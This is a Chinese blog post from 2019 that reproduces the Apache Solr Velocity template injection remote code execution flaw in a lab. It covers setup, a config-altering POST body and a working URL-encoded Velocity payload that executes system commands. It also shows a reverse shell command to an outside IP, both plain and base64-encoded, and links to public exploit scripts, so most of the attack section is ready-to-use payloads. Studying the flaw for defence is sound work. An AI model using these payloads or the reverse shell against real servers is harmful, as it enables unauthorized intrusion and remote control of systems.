前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Apache Solr Velocity模版注入远程命令执行漏洞复线

Apache Solr Velocity模版注入远程命令执行漏洞复线

作者头像
墙角睡大觉
发布2019-11-05 03:49:40
1.4K0
发布2019-11-05 03:49:40
举报

0X01 漏洞概述

Apache Solr 是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和ApacheLucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。

10月31日,安全研究员S00pY在GitHub发布了ApacheSolr Velocity模版注入远程命令执行的POC,经过其他安全团队和人员的验证和复线,此漏洞已经能够被批量利用。

0X02 环境搭建

方法一:下载源码

代码语言:javascript
复制
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/

解压之后,不能直接启动,需要配置java环境变量,可参考之前的文章或者自行度娘。创建实例:

代码语言:javascript
复制
sudo ./solr create_core -c alice -d../example/example-DIH/solr/db –force

然后,启动环境

浏览器访问环境

http://172.16.1.137:8983/solr/#/

要获取相应的实例的路径,单击左侧的Core Admin即可知道相应的实例。

每个实例下都有相应的config配置信息,可以直接访问查看

代码语言:javascript
复制
http://172.16.1.137:8983/solr/alice/config

访问config文件,Post提交以下数据:

代码语言:javascript
复制
{
 "update-queryresponsewriter": {
   "startup": "lazy",
   "name": "velocity",
   "class": "solr.VelocityResponseWriter",
    "template.base.dir":"",
   "solr.resource.loader.enabled": "true",
   "params.resource.loader.enabled": "true"
  }
}

这里要注意,数据格式一定要按照json发送,如果不对的话,很容易返回500或者400的bad request错误,如下:

所以,这里发包的时候,如果不正确,请多尝试几次。

方法二:通过docker搭建,可以直接search,方便省事的话,可以直接用vulhub上phith0n写好的docker拉取,方法按照如下链接步骤操作

代码语言:javascript
复制
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193

这里不在赘述。完成之后还是像上面一样bp发送数据修改配置。这样环境搭建基本完成了。

0X03 漏洞利用

当solr默认插件VelocityResponseWrite中

params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true。所以,在上一步我们经过post提交数据已经修改了这两项参数值,所以目前漏洞是可以触发的。

s00py给出了poc数据,链接如下:

代码语言:javascript
复制
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

访问链接,执行利用操作

代码语言:javascript
复制
http://172.16.1.137:8983/solr/alice/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

执行结果

github上已经有很多研究人员放出漏洞利用脚本,如下等

代码语言:javascript
复制
https://github.com/theLSA/solr-rce
https://github.com/Eth4nHunt/Apache-Solr-RCE

使用其中一个,即可获取cmdshell:

在其他互联网环境的服务器上测试的时候,反弹shell很容易被分割中断,报错,命令如下:

代码语言:javascript
复制
bash -i >&/dev/tcp/45.32.2XX.XX/45670 >&1

但由于Runtime不能使用管道符等bash方法,所以需要进行编码

代码语言:javascript
复制
bash -c{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ1LjMyLjIyMy4zMy80NTY3IDA+JjE=}|{base64,-d}|{bash,-i}

按照phith0n的解释:

具体详情解释参考

代码语言:javascript
复制
https://zsxq.tricking.io/topic/501/

编码之后,我们再次测试,可以成功获取shell

0X04 加固修复

官网暂未发布相关漏洞补丁,及时关注官网更新。

http://lucene.apache.org/solr/downloads.html

0X05 参考链接

https://nosec.org/home/detail/3113.html

https://www.anquanke.com/post/id/190039

https://zsxq.tricking.io/topic/501/

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

https://github.com/shadow-horse/Apache-Solr-Velocity-RCE

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-11-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全漏洞环境学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0X01 漏洞概述
  • 0X02 环境搭建
  • 0X03 漏洞利用
  • 0X04 加固修复
  • 0X05 参考链接
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档